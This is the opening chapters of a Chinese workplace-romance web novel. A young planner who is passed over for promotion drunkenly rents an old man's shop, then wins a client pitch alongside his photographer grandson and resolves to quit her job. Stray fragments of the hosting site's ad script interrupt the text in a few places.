《老街情缘》 1. 酒醉 【策划部:项卓】 余念念盯着电脑屏幕上的这行字,脑子一片空白,耳朵也一瞬间失聪,正在打开外卖盒的手滞在了空中。 这是公司刚刚发给全体员工的邮件,公示各部门当年的优秀员工名单,邮件发出,便是最终结果,但公示前,肯定经过了各部门leader长达一两个月的考核筛选,毕竟,这个名单关系到员工下一年的晋升、涨薪等等之类,向来是竞争激烈。 “念念!”坐在隔壁的陈小艺重重戳了她一下,终于让她回过神来,茫然地转过头去。 陈小艺脸上带着不忿:“怎么会是项卓?怎么可能不是你?你去问问老贾呀!” 余念念全身的力气像是被抽掉了,手缓缓落到桌面上,脑子里跑马灯似的闪过无数画面。 两年前,她初进公司,意气风发誓要大干一场,上司贾福笑得一脸亲和,点头赞许:“年轻人就是要有干劲!”她打电话跟家里说自己遇到了好领导。 一年半前,她已经可以独自对接项目,面对外部对她的称赞,贾福一脸骄傲:“小余可是我们策划部的一枝花!”虽说对“一枝花”这个词隐隐不赞同,但她很感激他给她的历练机会。 一年前,临近年底,策划组接了个完全陌生的案子,她连加一个月班,帮着整个策划部稳稳落地,保住全组人的年终奖,大年三十,贾福在群里发言:“今年最幸苦的就是小余!大家都欠她一个红包!”没人知道,她因为连续加班,去了好几次医院,收到的红包还不够医药费,但她觉得自己的幸苦被看到了,一切都值得。 8个月前,她关系最好的同学结婚,邀请她当伴娘,去请假时,贾福为难:“项目这么紧,你作为骨干怎么能缺席?”为了他的“骨干”二字,她咬牙拒绝了老同学的邀请,在她心里,这已是老贾未明说的承诺。 6个月前,组里来了新同事项卓,所有人都看出他的能力不匹配岗位需要,但贾福让她好好带带新人,于是她毫无保留地教他,对他偶尔的偷奸耍滑也没多说什么。“你看他有在贾经理面前说你一句好么?”别人这么劝她的时候,她总是一笑了之,其实,是心里从没把对方当作竞争对手。 3个月前,优秀员工评选开始,小组例会上通知这件事时,整个组的同事迅速达成一致,策划组非余念念莫属,只有项卓保持沉默,贾福则保持一贯亲和的表情笑而不语。她以为那是默认的意思。 1个月前,项卓突然和贾福走得很近,两人一起吃中饭,有时还一起下班。有传言贾福在努力谋求更往上走一步,正好要借助项卓在公司的关系触角。余念念对这种传言嗤之以鼻:“晋升难道不是看业绩么?咱们策划组可从没给老贾掉过链子,他不需要搞那些小动作。” 然后,便是今天…… “你在想什么呢?”陈小艺伸手在她面前晃晃,着急道:“不找老贾问问么!” 对……要问问!死也要死个明白! 余念念打起精神,点开公司通讯软件,和贾福的最后一条聊天记录停留在半小时前,她向他汇报项目最新方案。 【经理,现在有空么?我想找您聊聊。】斟酌着在聊天窗口敲出这句话后,余念念犹豫半天没发出去。 正迟疑着,陈小艺扯了扯她的袖子,抬头看向某个方向,小声道:“念念,先别发了……” 余念念顺着她的视线看过去,贾福正笑容满面地从办公室走出来,身后跟着项卓,两人就这么有说有笑地走了出去,没有看余念念一眼。 “明天早上你们不是还要跟甲方开会么?方案你还在改,他们怎么就下班了…...”陈小艺嘟囔道。 余念念盯着碗里还一口没动的牛肉面看了足足三分钟,站起身,对陈小艺说了句:“我先走了。”接着便将外卖整个扔进了垃圾桶,拎起包边往外走边掏出手机,给微信置顶的聊天框发了条消息:【晚上出来喝酒。】 晚上七点半,一家放着慢歌的民谣酒吧,匆匆赶来的沈童一屁股坐在余念念对面,开心道:“你们老贾终于良心发现啦?居然工作日晚上放你出来happy!” 余念念默默从桌上点好的一排啤酒中挑了一杯推给她。 一分钟后,沈童从椅子上弹起来,怒吼:“贾福这个狗东西!良心TM被狗吃啦?!” “NONONO,”已经喝光一杯啤酒的余念念冲她晃晃食指,“等你来的这段时间我已经深刻反思过了,我错了!” “……你错哪儿了?” “自信,自负,目中无人,天真,幼稚,太过信赖别人……” 沈童唰地一下站起来,俯身,一手撑住桌面,一手按住余念念脑门,凝视她的眼睛:“亲爱的,你是不是被什么邪教组织洗脑了?你这时候该做的,难道不是把贾福臭骂一顿,然后火速跳槽么!” 余念念大叹一声:“哪这么简单!我这个资历,在行业里根本算不上什么,万一跳槽失败,就面临失业,到那时候,我就得灰溜溜滚回老家了……” 这时,桌上手机叫起来,她瞟了一眼,立马见鬼似的瞪着沈童:“说曹操曹操到!”说着,做了个噤声的手势,接起电话。 “喂,妈。” “念念!”一个风风火火的中年女人声音顺着话筒传过来,没开免提都传进沈童耳朵里,吓得她两手捂嘴。 “最近怎么样?工作还顺利么?什么时候回家?” “工作……还行吧,我……过年回家呗,其他时候也没假啊,就不折腾了。” “回家怎么能叫折腾呢你这孩子,你看你不是快生日了么,要不找个周末回来一趟吧,啊?” 不待余念念回答,一个半低不高的男声欠欠地插进来:“姐,快回来!妈给你找了个好对象!” “啧,你瞎说什么呢!念念,别听你弟胡说八道,我就是想让你回来过个生日——” “姐我没瞎说,我都听到了!妈跟张阿姨打电话说等你回家就安排你俩见面,还说等你有对象了就能安心回老家了!” 啪! 一声响亮的拍打声传来,听得余念念肉疼,那边果然传来一声哀嚎。 “妈,我短期内肯定不会回老家的,我喜欢这里,我要在这里闯一闯。”余念念心平气和说道。 “女孩子闯什么闯,回老家来舒舒服服地结婚生孩子多好,咱们家将来让余玩一个人在外头闯就可以了,你陪在爸爸妈妈身边做贴心小棉袄,趁我们身体还行,可以给你带带该子——” “妈!”余念念大喊一声,打断对面的碎碎念,“余玩闯不闯是他的自由,您也别剥夺我选择生活方式的权利。” “哎你这孩子,怎么能这么曲解我的意思,我这不是为你好么!” 余念念深呼吸一口,就此闭麦,任对方一阵枪林弹雨,隔了很久,攻击暂歇,一道温和的中年男人声音传来:“念念,别多想,就按你自己想的做吧。” “知道了,爸。” 挂了电话,余念念蔫在椅子上,有气无力地对沈童说:“看,我妈巴不得我失业呢,那样我就会安心回家嫁人生子,为我弟弟的在外闯荡让渡我的选择自由,往后的人生困在那小小的天地里,围着那几个人转,”说着,她翻了个白眼,“如果以后都要过那样的日子,不如现在就杀了我吧!” 晚上十一点半,出租车停在老街十字路口,余念念从后排车门钻下来,被十一月底深夜的冷风一吹,打了个激灵,酒劲没有被吹散,反倒一下子上了头,晕晕乎乎地缓了半天,才找到熟悉的方向——老街公告牌。 崇安市长坪街是位于闹市里的一条老街,十字路口的其中三个口进去,都是繁华的高楼大厦,只有这一个口进去,是仿佛时光停滞的老旧建筑。余念念就租住在这条老街上。 老街入口处立着一块四四方方的公告牌。不同于其他地方早就几乎完全线上化电子化了,老街居委会保持着张贴纸质公告的习惯,老街居民有什么事情也爱贴纸质广告,每天白天不管什么时候,都有几个老头老太背着手站在公告牌前慢吞吞浏览着。 泛黄的路灯下,一片字迹吸引了余念念的目光,她不由自主走过去,直直看了片刻,脑子反应过来之前,手已经先一步做了行动,将那片纸扯了下来。 “小姑娘,你要租我的店铺么?”一个温和的声音在身后响起。 余念念转身,看到一位白发苍苍的老人站在那里,一脸笑意地看着她。 “爷爷……”余念念眼中一热,脱口而出。 老人笑意更深,微微颔首。 一个一身黑的影子从老人身后冒出来,将纸从余念念手中抽走,默默走到公告牌前,从兜里掏出个胶水 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,重新贴了上去。 “你!你干嘛抢我东西!”余念念急了。 黑色人影没理睬,继续着自己的动作,余念念愤愤上前,抓住他的肩膀,将人翻了过来,昏黄的路灯下,半张精致瘦削的脸隐在黑色卫衣的帽衫下,看不清表情都能隔空感受到这人身上散发出的嫌弃。 果然,下一秒,他就远远退开一步,声音听上去也冷冷清清:“不租就别瞎扯。” “小砚!”老人冲他低声喊道。 “爷爷,您手写广告费时费力,不能被一个酒鬼给浪费了。” 余念念自动忽略了后半句,转身冲老人诚恳道:“爷爷,您的毛笔字写得真好!” 黑衣服不轻不重道:“谁是你爷爷。” 余念念自顾自接着说:“我爷爷毛笔字写得也很好,我一看这么好看的字,就想到了我爷爷……我好想他啊……” 说着,她冲老人举起双手,正想抱上去,被黑衣服插进去隔在中间,接着,又被抓住胳膊一把推开。 “爷爷,我们走吧。”黑衣服扶着老人转身,正要离开,身后“唰”地一声轻响,回头,余念念又举着那张广告,一脸坚毅地看着他。 “我要了!”余念念大声道。 黑衣服像是气笑了,深呼吸一口,问:“你要什么?这是租房广告。” “我租了!”余念念更大声地宣布。 老人笑着走上前,对余念念温和道:“小姑娘,你喜欢的话,这张毛笔字送给你了,下次,来我家,我给你写张正经字帖,好不好?哈哈,回家吧,太晚啦,不安全。” “爷爷,这张字您写了一个多小时——” 老人摆摆手:“不费什么,小姑娘遇到烦心事了,这样,你把她送到李婶家。” “李婶?” “是啊,她租李婶家房子,我认得的,你就把她送到——” 说话间,一只手举着一只手机插进了两人之间,屏幕朝上亮着,爷孙俩凑过去,看到手机屏幕上,大大的10000显示在正中间。 “转账成功……”黑衣服念出来,看到下面小字里的账款接收方,掏出自己手机看了一眼,愣在那里。 “定金。”余念念说道,“跟你们说了我要租的,这下信了吧?” …… 一阵沉默后,黑衣服对老人说道:“爷爷,我觉得她挺清醒的,还知道搜广告单上的手机号给我转账,我觉得她不用我送。” “哈哈哈哈哈哈哈,”老人发出阵爽朗的笑声,对余念念说道:“小姑娘,这是我孙子,白砚,明天你酒醒了,记得找他要钱,哈哈哈。” 说着,又扭头冲自己孙子说道:“现在说什么都没用,明天再说,你先把人安全送到,去吧,我在路口等你。” 黑衣服——也就是白砚,无奈地叹了口气,抓着余念念的袖口往老街里牵。 余念念捧着那张毛笔字,看了又看,满足地叹息道:“我的了,我的了!” “是啊,你的了,希望明早你别冲我哭……”白砚边走边说。 昏暗的巷子里,手机铃声响起,余念念举起来一看,立马定住:“老贾——好你个狗东西,居然还敢来找我!” “喂!”她接起来,怒吼一声。 对面沉默了两秒才说话:“喂,小余啊,明天跟会展方开会,你记得打扮漂亮一点,准备充分一点。对了,方案怎么样啦?” “方案?什么方案?这不是项卓的项目么,干嘛找我要方案!” 这次对面沉默的时间更长,中年男人的声音介于尴尬和愠怒之间:“哎我说小余——” “什么小余大余,跟你说狗东西,老娘不伺候了!跟你的关系户狼狈为奸去吧!龌龊!恶心!!令人不齿!!!” 强力输出完一串词汇后,余念念用力戳了戳屏幕,挂了电话,畅快地深呼吸几口,抬起头,像是才看到站在对面一言不发的白砚,抖了一抖:“你……你谁啊?” 白砚缓缓摇摇头:“不重要,”接着,伸手指了指头顶:“你到了,今晚好好睡吧,明天醒了可能就……” 他停顿住,没说下去,将余念念领到楼道里,推了一把,看着她S形爬楼梯的背影一点点蠕动上去,再看着楼上某间房间的窗户亮了口气,才长长出了口气,快步往路口走回去。 2. 酒醒 第二天清早,平静的老街突然被一声凄厉的吼叫声打破。 楼下,李婶在水池子上边听家庭剧广播边捶衣服,捶得正起劲,被叫声惊得一下砸歪,木头棒槌在水泥池沿上裂成了两半。 对面,早点铺的老孙正小心翼翼把捏好的油条顺着油锅锅壁往下放,被震得手一抖,油条掉进锅里,溅起滚烫的油星,老孙抱着胳膊嗷嗷叫。 余念念躺在床上,心如死灰地看着天花板——比喝醉后断片更让人难以承受的,是醒来后无比清晰地记得自己做过的每一件事…… 她对老贾嚷嚷:干嘛找我要方案? 她说他和关系户狼狈为奸…… 她放狠话说老娘不伺候了。 她……她骂老贾狗东西! 她翻了个身,把整张脸埋进枕头里,哀嚎声顺着枕头芯的棉花缝里漏出来。 下一刻,她猛地起身,在脸上撸了一把,自言自语:“别慌,余念念,还可以补救,去好好认个错,年轻人哪有不喝酒的,喝了酒哪有不发疯的……” 一边碎碎念,一边收拾着自己,她甚至记起电话刚接通时,老贾交代今天她打扮漂亮点去开会,于是,挑了件最贵的衣服穿上身。 镜子里,身材凹凸有致、面容清丽明媚的女子保持着微笑端详着自己,转念想到自己即将迎来的硬仗,微笑裂开,嘴脸抽搐,深呼吸一口,转身拎了包出门。 到公司时,曹福正一脸笑意地领着两个外来访客往里走,项卓跟在他身边,也是一脸谦和乖巧的样子。抱着电脑进会议室时,余念念真实地看见贾福脸上笑容僵硬了片刻,但有客户在场,他没有多说什么。 来的两人里,一位是有些年纪、气质优雅的中年女人,是这次展会的甲方——西柳镇文旅中心的赵主任。余念念之前做方案时就与她见过几次,见余念念进来,冲她亲和地微笑点头。 另一位,是个高高瘦瘦、面容俊秀的年轻男人,穿着白上衣黑西裤,透着一股子生人勿近的气息。余念念莫名觉得他有点眼熟,盯着他看了几眼,但他一直面无表情低头不语,余念念想着赵主任刚到的时候应该已经向贾经理介绍过了,这时候也不好开口再问。 “赵主任,这次西柳镇的文旅展能考虑与我们丰岚合作,我们感到很荣幸!”贾福不知是兴奋还是紧张地边搓手边开场。 “贾经理不必客气,这次的合作还没最终敲定,一切,都看方案是不是适合我们西柳镇,毕竟,我们此前也找过不少广告公司,效果都不是十分满意。”赵主任说。 贾福表情僵住一秒,忙点头:“那是自然,那是自然。” 一旁的余念念对赵主任的话倒是不意外,前几次沟通下来,她对赵主任的脾气已经摸得差不多,外表看上去温和随意,沟通风格却是单刀直入式的简单直接。对这一点,余念念感到很舒服。 她正要起身演示方案,贾福清了清嗓子,拍拍身旁项卓的肩膀:“那么,就让我们的项目经理项卓来给两位演示一下我们的方案。” 余念念收回动作,看来,昨天被她在电话里放狠话后,贾福连夜让项卓做了新方案,眼下,她只能先静观其变了。 项卓扬着脑袋站到了前面,按了投屏遥控器,几个大大的人影出现在屏幕上,造型动作夸张惹眼,在他们身后,西柳镇的街道若隐若现。 “我的方案主题是:‘跟着大咖炸古镇’,”项卓神采飞扬地开始介绍,“我们会邀请目前最火的几位网络红人,为他们量身定做古镇打卡方案,在展会上用巨型LED屏幕不间断循环播放,同时,在各大线上渠道开辟直播专场,让在场和不在场的朋友都能随着大咖的脚步,领略西柳镇的特色。” 他边讲解,边按动遥控器切换画面,接下来几张图片上,是几个大大的人物特写照片和地点的拼接,有性感舞娘在网红店门口招揽客户,有邪恶小丑站在标志性十字路口放飞气球,还有一船呆萌宠物小精灵湖中泛游。 “凭借大咖的人气,我们一定可以炸翻古镇,火爆网络,广招客源,一飞冲天!”项卓慷慨激昂地总结陈词。 待他说完,会议室短暂地沉默几秒,贾福适时鼓起掌,鼓了几下,见其他人没有要跟着鼓掌的意思,干咳一声停了下来。 项卓讲解方案时,余念念一直留意着对面两人的反应。从主题出现的那一刻开始,年轻男人就从屏幕上收回了目光,之后全程没有再抬眼。赵主任倒是认真听完看完,只是脸色越来越差,眉头越来越紧。 “我就直说了,”赵主任直视着贾福的眼睛说道,“这个方案的核心似乎是这些网络红人,西柳镇沦为一个背景板,而且在我看来,是一个毫无特色、跟其他旅游景点别无二致的背景板。” 贾福一时不知如何反应,扭头看向项卓,后者更是无措,两人就这么你望着我我望着你,憋不出一句话来。 “赵主任,”余念念站起身,走到正前方,从项卓手中接过遥控器,“我们丰岚喜欢做两手准备,刚刚我同事演示的是其中一个方案,可能更适合年轻爱玩的受众,我们还有另一个方案,由我来给二位演示。” 她抬起手,按了一下遥控器,一幅水墨图卷出现在屏幕上,寥寥几笔泼墨,勾勒出纵横的街道、穿城而过的小河,和几座意趣盎然的小山坡,在这幅水墨地图之上,几座古朴的建筑被浓墨重彩地放大,古塔、回廊、小楼,高低错落,相映成趣。 “这是……”赵主任眼睛亮起来,指着图上的一处小院说道:“……陶然祠?” 余念念笑起来:“没错赵主任,陶然祠、秀峰塔、炎帝庙……”她依次指着图上的建筑说道,“这个方案的主题是:‘领略西流古建筑之美’。西流是千年古镇,有很多历史沉淀,而这其中,最能代表它底蕴的,就是这些古建筑。我前不久专门去西流实地走访过了,这些建筑之间相隔不远,完全可以在一天之内走完,展会当天,我们可以设计一条线路,将建筑和古镇的自然风光穿插起来,让大家或在老街穿行,或在江畔漫步。每到一个建筑,都邀请西柳镇中学的历史老师给大家介绍建筑背后的故 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 事,走完全程的游客,还可以获得一幅由西柳镇书法协会提供的书画作品。我咨询过书法协会会长顾老先生,他很乐意提供这样的帮助。” 赵主任脸上笑意渐深,不住点头:“小余,我们算是不谋而合了,哦不,很多地方你甚至想到了我的前面!” 她指了指坐在她身旁的年轻男人,对余念念和贾福说道:“刚才我只介绍白老师是摄影师,没说具体是什么方面,其实,他是知名古建筑摄影师,年纪轻轻,就已经获得过多项建筑方面的摄影大奖。这次,我就是专门邀请他一起,把我们西流的古建筑之美给拍出来,推出去!” 赵主任扭头看向年轻男人,问:“白老师,您看呢?” 男人点点头,淡淡说道:“第二个方案我没意见。” 听到他的声音,余念念“啊!”地一声喊出来,瞪着他,脱口而出:“是你!” 男人看向她,眼神终于与她对上,只停留了一秒钟,就移开,仍然是一脸淡漠的样子。 “喊谁爷爷呢……希望明早你别冲我哭……”余念念耳朵里响起这人前一天晚上说的话,脸一下子红到了脖子,脚趾扣地,抬手扶额。 “你们俩,认识?”赵主任疑惑道。 男人摇摇头。 余念念迅速调整状态,抬起头,冲白砚伸出手:“白老师,很高兴认识你,以后多多指教!” 白砚微微皱眉,余念念确定他的眼里飘过“有必要握手么”这几个字,但她坚持将手杵在他面前,过了几秒,他慢吞吞地抬起骨节修长的右手,蜻蜓点水似的与她握了握。 后面的结果顺理成章——赵主任的态度已经说明了一切,他们迅速敲定余念念的方案,几乎没做什么调整。 余念念的高兴里夹杂着一丝不安,她抽空瞟了几眼贾福,后者面上带着一贯的笑容,看不出什么其他情绪。至于项卓,正努力摆出合适的表情,但实在过于勉强,笑得比哭还难看。 丰岚的三人一起,将赵主任和白砚送到公司门口,约好晚上带着合同邀请他们两人吃饭,当场把合同签下来。 目送着他们的出租车离开后,余念念深呼吸一口,转身看向身侧的两人。 项卓脸彻底黑掉,从鼻子里“哼”了一声,扭头就走。 贾福脸上的笑意也消散,双手插兜,站在那里。 “经理……昨晚,我喝多了,说的都是醉话,不是我的本意,您别放在心上。”余念念期期艾艾地说。 贾福抬头看了看远处,又低头看了看脚下,又从嗓子眼里发出几声干咳,沉声道:“这个项目,你好好跟。晚上的晚宴,也好好表现。” 说完,便转身走了。 余念念长长出了口气,看着贾福离开的背影,忍住追上去质问为什么自己不是优秀员工的冲动。再有怨气,眼下也不是好时机,下午要准备合同,晚上还要去晚宴,说不定还要喝酒呢。 说到喝酒,余念念突然想起来什么,一拍脑门:“我的一万块钱!晚上一定要找那小子要回来!” 3. 守心 晚上的晚宴,仍是早上开会的相同阵容。 项卓虽然有情绪,但这是他进公司后挂在他头上的第一个项目,因此还是来了。 对于项目经理是项卓,余念念倒是没什么特别的想法,一来,新人的第一个项目免不了老员工要多帮衬,大家都是这么过来的;二来,她和贾福现在关系紧张,通过这个项目先缓和下,其他的,可以后面再慢慢说。 饭桌上,依然是赵主任和贾福唱主调,只是赵主任隔三岔五地向余念念挑起个话题,十分热情,不像甲方对乙方,倒像看到香饽饽的金主爸爸。项卓插不上话,在一旁陪着笑。 至于白砚,生人勿近的气场实在太明显,冷着一张脸自顾自地吃吃喝喝。包间里暖气开得足,他脱得只剩一件白衬衫,棱角分明的脸,配上在衣中晃的纤细身材,像是与周围人之间有一层无形的壁。 真像个天仙——余念念在心里蛐蛐。 酒局过半,贾福正身,从包里掏出叠纸,双手递向对面:“赵主任,这是我们拟好的合同,您过目,没什么问题的话,咱们这就签了吧?” 赵主任接过去,翻看了一会儿,抬起头看着贾福说道:“贾经理,我希望增加一条补充条款。” 丰岚三人都有些意外,贾福马上回道:“您请讲。” “我希望补充条款里注明:本次合作的项目经理,是余念念余小姐,且项目期间的所有统筹对接,均由余小姐全权负责。” “这……”贾福看了眼项卓——后者脸上的表情又趋于垮掉边缘,“有必要这么麻烦么?当然,余念念和项卓都是我们丰岚的优秀员工,肯定会齐心协力做好这次项目的。” 余念念心里五味杂陈,她很感激赵主任的认可,但这无疑会激化她和贾福之间的矛盾。 “为了表达诚意,我们西流也会作出相应回报,”赵主任补充道,“我们可以在整个文旅展期间,增加各种物料上丰岚广告公司的露出幅度,甚至可以将‘余念念’这个名字直接露出来,这年头,什么都讲IP打造,知名策划人这个名头,或许也可以跟知名摄影师白砚一样,被大众所认可呢。” 她不说这个回报还好,说完这个回报,项卓重重将椅子往后一推,丢下句“我去个洗手间”,便快步走了出去。 他不在,贾福倒松了口气,斟酌良久,终于下定决心地点点头:“我同意您的要求,补充条款我明天就拟,拟好后跟正式合同一同寄给您。” 这句话明明从贾福口中说出来,余念念听完却有种脱力感,愣愣地看着赵主任和贾福达成一致地握手。 “我也去下洗手间”,赵主任说道,眼神往余念念这里停留了片刻,朝门口走去。 余念念心领神会地站起身,跟着一起出去了。 女卫生间的洗手台边,余念念低头倚着台面站着,一旁,赵主任温和地看着她:“小余,你好像不开心?” 余念念下意识否认:“没有赵主任,我没有不开心。” 赵主任微笑看着她:“我年轻时也经常患得患失,瞻前顾后,但最终我发现,忠于自己的内心才是最重要的,委曲求全只能换来短暂的平和,甚至只会延缓我往前走的步伐。” 余念念有些困惑:“赵主任,您为什么跟我说这些?” 赵主任眼里闪着真诚:“因为我看到,你也在试图掩盖自己的光芒。” 余念念心里一紧,从前一天下班时收到优秀员工邮件开始积攒下来的无数种情绪——愤怒、自我怀疑、对未知的恐惧……等等一切,纠缠在一起,堵在她的胸口,让她喘不过气。 “我可能……没您说的那么好。” 赵主任走近她,抚了抚她的后背:“你今天在台上讲方案的时候,真的很美。” 说完,她便转身走了出去,余念念看着她离开的方向,又看向镜子里的自己,眼前这张愁苦的脸,哪里配得上“美”这个字眼。 她洗了手,拖着步子出去,刚拐出门口,便听到一声冷哼:“哼,余念念,我真是小瞧你了!” 转头看,项卓抱臂靠墙,居高临下地看着她,倒三角的眼睛里冒着恶狠狠的精光。 余念念烦得很,不想跟他纠缠,边走边随口应道:“是么?那你现在知道也不晚。” 项卓跟上来,咬牙道:“我知道你清高,看不上我,觉得自己是凭本事吃饭,但你知道老贾私下是怎么说你的么?” 余念念停下脚步,回头看向他:“你以为你在这里说几句挑拨离间的话我就信了?是你脑子发育不全还是我小学没毕业啊?” “这么说,你没有一个马上要读大学的弟弟,你妈也没有在老家到处给你找对象喽?” 余念念全身被钉住,不可置信地看着项卓得意的脸:“贾经理告诉你的?” 她从不在公司聊自己的家事,只有几次跟贾福单独沟通工作时,顺便闲聊了几句,也是出于对贾福的信赖,抱怨了一些自己的困境。 “还不止这些。”项卓冲她勾勾手,她不由自主跟上去,跟着他走到了一处隐蔽的楼道里。他掏出手机,点开什么,贾福的声音从话筒里传出来:“……嗨,小余我了解,永远只会埋头工作,单纯得跟高中生似的,我是她第一个领导,那是什么?那就跟她爹一样啊!服我服得不行!再有情绪,哄两句,又埋头干活去了!哈哈哈哈哈……” 贾福的笑声回荡在楼道里,像一道摇摆的石锤,一下一下砸着余念念的耳膜,刺痛从耳膜一点点蔓延到全身,当下,她除了像溺水的人一样张大嘴喘气,什么都做不了。 项卓勾起一边唇角,满意地看着余念念的僵硬,一点点凑近她,像毒蛇伸出蛇信子似地伸出只手,探向余念念的下巴,嘴里狠毒地念叨:“穿这么好看,马屁拍这么响,有什么用呢,优秀员工还不是我?” 话音未落,一只手从余念念身后伸出,重重拍落项卓的胳膊,不待他反应过来,又推了他的肩膀一把,将他推得后退几步,砸在墙面上。 “白砚?”他揉着肩膀,惊疑道,吃不准这人突然出现在这里是什么个情况。 白砚眼神从余念念脸上扫过,站到她和项卓中间,举起手里的手机冲项卓晃了晃:“真巧,我刚刚也不小心录了音,不知道贾经理知道自己的话被你录下来,脸色会不会好看?” 项卓的脸一下子写满慌乱:“你想怎样?” 白砚本来性格就冷,现在看他的眼神更冷得像冰刀:“要是被我发现你在这个项目里耍心眼,这个录音会第一时间公开发给你们公司。现在,滚。” 项卓眼神在白砚脸上和他手里的手机之间来回观察,脸上混杂着狠辣和迟疑,片刻后,从鼻子里喷出口气,不甘地大步离开。 白砚将手机揣回裤兜里,转回身,丝毫没有要安慰余念念的意思,抬腿就要走。 “你真的录音了?”余念念问。 “当然没有,会脏了我的手机。” “我就知道……”余念念小声嘀咕,勉强挤出个笑容:“谢谢你。” 白砚瞥了她一眼:“别影响项目就行。” 余念念用力点点头。< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p>那天晚上的江风,是理想被现实击碎后,酸涩的味道。 余念念独自一人在佳林江边从八点坐到了半夜,没喊沈童一起,也没喝酒,就这么吹着冬夜的江风,让自己的意识在刺骨的寒冷中保持着绝对的清醒。 有两句话一直盘旋在她的脑子里。 一句是,小时候她垫着脚看爷爷苍劲有力的手腕在纸上写下“守心明性”几个字,然后扭头冲她说:“念念,这四个字看起来是不是很简单?做起来不容易的,不过爷爷相信你能做到。” 另一句,便是当晚赵主任所说的:“你在试图掩盖自己的光芒。” 十二点差一刻时,她冲着江面,发出终于下定决心的长长一叹,一个苍老的声音颤抖着在她身后响起,吓得她汗毛倒立。 “小姑娘,你到底是不是要跳江啊?我守了你一晚上了,实在守不住啦,太冷了!”一位上了年纪的大爷一手拿着鱼竿,一手揣在袖子里,哆哆嗦嗦地说道。 “哈!对不住大爷!”余念念蹦起来,边跺着冻僵的脚,边笑道:“我不跳!我想通啦!谢谢您大爷!” 说着,她一把挽住大爷的胳膊,将他往通向马路的小路上带:“快走快走!要冻死啦!” 大爷边被她拖着走,边发出一连串惊吓的叫唤:“哦哟哦哟!慢点慢点!没冻死嘛先摔死了!” “大爷,这么冷的天还出来钓鱼,瘾这么大么?” “一条鱼都没钓到,观察你这个小丫头观察了一晚上!哦哟我真是亏死喽!” …… 第二天早上,正在地库停车的贾福和刚到办公室坐下的赵主任几乎同时收到了一条来自余念念的消息。 贾福的是: 【经理,经过慎重考虑,我决定西流镇的项目结束后就提交辞职。请放心,我会投入百分百的精力做好我在丰岚的最后一个项目。感谢您这两年对我的培养,也遗憾没能达到您眼中优秀员工的标准,我的单纯在这里可能是一种不足,但说不定我会找到认可这种单纯的地方。最后,给您一个善意的提醒:与您的某位优秀员工聊天时,最好要求他把手机放在您看得见的地方。】 赵主任的是: 【赵主任,谢谢您昨天对我说的话,我已决定遵从本心,离开束缚我的人和事,饱含信心地奔赴更广阔的天地!当然,在那之前,我会对西柳镇的项目负责到底,我明天就要去西流为项目做一些前期准备,期待再次见面~】 几分钟后,余念念坐在工位上,看着贾福脸色不佳地走过去,又探了探头,看到项卓心虚地瞟着贾福的背影,心情颇佳地靠到椅背上,边哼起小曲,边呷了口咖啡。 一旁的陈小艺凑过来,目露八卦的精光:“心情怎么这么好?听说,昨天你们开会有个巨帅的帅哥,是不是跟这个有关?” 余念念被咖啡呛住,猛地咳嗽一阵,扼腕叹息:“又忘了!我的一万块钱!” 这时,手机消息声响起,她抓起来一看,是赵主任发来的消息:【替你的决定高兴。这么巧,白砚明天也来西流拍素材,正好明天是洪家村百家宴的日子,我给你们俩留两张票,你们一起去玩一玩。】 余念念一下子直起身,洪家村的百家宴很有名,向来一票难求,这次居然能蹭到赵主任的面子。但是…...怎么阴差阳错地又跟那个姓白的天仙凑到一起去了?她本来只打算微信上跟他把钱要回来的,这下可好,四天见三回,回回不重样。 不过——她心存侥幸地想——百家宴烟火气这么浓的地方,天仙不一订会去的吧? 4. 灯笼 事实证明:天仙的心思你别猜。 余念念有些局促地看着一桌子头发花白的大爷大妈,冲坐在她旁边的白砚干笑一声:“呵,这怎么还给我们安排到主桌了你说。” 白砚淡淡瞥了她一眼:“你紧张?” “紧张?那倒是不存在的……我主要怕一会儿他们排队来我们这桌敬酒。” 余念念伸长脖子,张望着他们所处的圆形回廊——不知道多少张桌子首尾相连,像一条长龙般盘踞在位于洪家村中心的这条木质长廊里,村里的男女老少正在填满每一张桌子,大人边吃喝边唠嗑,小孩子绕着长廊追逐打闹,热闹非凡。 回廊中央,是一棵据说有几百年历史的银杏树,树干需两三人合抱,树枝纵横交错。回廊外,是洪家村一望无际的农田,时值冬日,各种作物都采收完毕,田野在落日余晖下却不显得凋敝,像积蓄着无限的能量。 “真美啊,崇安市里就看不到这样的景色......”余念念情不自禁说道。 “能看到,”白砚顺着余念念的视线远眺,“登上崇安市的很多建筑,都能看到不亚于这样的景色,”他停顿了一下,补充:“只是你们关在写字楼里的人看不到。” “......”余念念语塞,片刻后没好气地问:“你到底为什么来百家宴?” “赵主任说,洪家村的灯笼技艺有很长的历史,我挺感兴趣的。” 正说着,村长——一个头戴深蓝色工装帽,身材矮壮的中年男人快步走到回廊中央的银杏树下,吼了一嗓子: “点——灯——!” 随着他的话音,两列火龙从远处村巷里“游”出来,游近了,可以看出,是两列村民,手上都举着一只点亮的灯笼,在渐渐黑下来的夜色里朝着回廊的方向走着,灯笼形状各异,但都清雅讨喜,红红的火烛在灯笼里闪烁摇曳。 “哇!”小孩子爆发出一阵又一阵的惊呼,拍手鼓掌。余念念跟在后面也“哇!”了一声。 “这也太好看了吧!”余念念不住赞叹,冲坐在她另一侧的一位上年纪的大妈问道:“阿姨,这是咱们洪家村的传统仪式么?” 大妈摆摆手,操着浓重的口音回道:“不是!是咱村长自创的仪式!” “......” “还有这个百家宴,也是村长前年自创的!” 余念念干笑一声,左右张望一番,指着回廊中间的树影,问:“这银杏,确实有几百年历史吧?” 大妈还没回答,坐她旁边的一个胖大爷抢答:“对头!这是真的!我家本来在这银杏树前面住了几十年啰,被村长赶到村子另一头盖了新房子,给这个廊子让位子!” “......” 余念念斟酌一番,看胖大爷脸上表情尚嘉,于是问道:“那您愿意?” 大爷和大妈互相看了一眼,哈哈大笑起来。 “一开始不愿意的嘞!但是村长带头搬!他家原来就在——”胖大爷抬手指了指隔壁两三桌的地方,“就在那儿!而且他立了军令状,保证三年内咱村申到个啥,啥旅游村落。” 